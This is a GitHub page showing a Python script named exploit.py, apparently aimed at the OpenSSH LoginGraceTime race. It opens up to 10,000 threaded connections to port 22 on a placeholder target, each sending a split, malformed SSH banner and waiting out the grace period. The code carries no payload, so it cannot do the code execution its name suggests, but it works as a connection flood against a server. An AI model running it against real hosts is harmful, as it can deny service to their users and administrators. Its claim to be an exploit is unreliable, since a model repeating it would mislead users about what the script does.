-
Notifications
You must be signed in to change notification settings - Fork 0
/
exploit.py
50 lines (44 loc) · 1.72 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import socket
import time
import threading
import logging
# Configuration
HOST = 'target_ssh_server_ip' # Target server IP
PORT = 22 # SSH port
LOGIN_GRACE_TIME = 120 # Default LoginGraceTime in seconds
MAX_ATTEMPTS = 10000 # Number of attempts to try
THREAD_DELAY = 0.05 # Delay between starting threads
PACKET_PREFIX = b'\x00\x00\x00\x08SSH-2.0-OpenSSH_'
PACKET_SUFFIX_TEMPLATE = b'ExploitAttempt-%d\n'
# Setup logging
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
# Function to simulate sending a connection
def send_connection(attempt):
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((HOST, PORT))
logging.info(f'Attempt {attempt}: Connected to {HOST}:{PORT}')
# Send part of the SSH packet
s.sendall(PACKET_PREFIX)
time.sleep(0.5) # Adjust timing as needed
s.sendall(PACKET_SUFFIX_TEMPLATE % attempt)
# Simulate waiting for response or timeout
s.settimeout(LOGIN_GRACE_TIME)
data = s.recv(1024)
logging.info(f'Attempt {attempt}: Received response: {data}')
except socket.timeout:
logging.warning(f'Attempt {attempt}: Connection timed out')
except Exception as e:
logging.error(f'Attempt {attempt}: Exception occurred - {e}')
# Main function to coordinate attempts
def main():
threads = []
for attempt in range(MAX_ATTEMPTS):
thread = threading.Thread(target=send_connection, args=(attempt,))
threads.append(thread)
thread.start()
time.sleep(THREAD_DELAY) # Adjust interval as needed
for thread in threads:
thread.join()
if __name__ == "__main__":
main()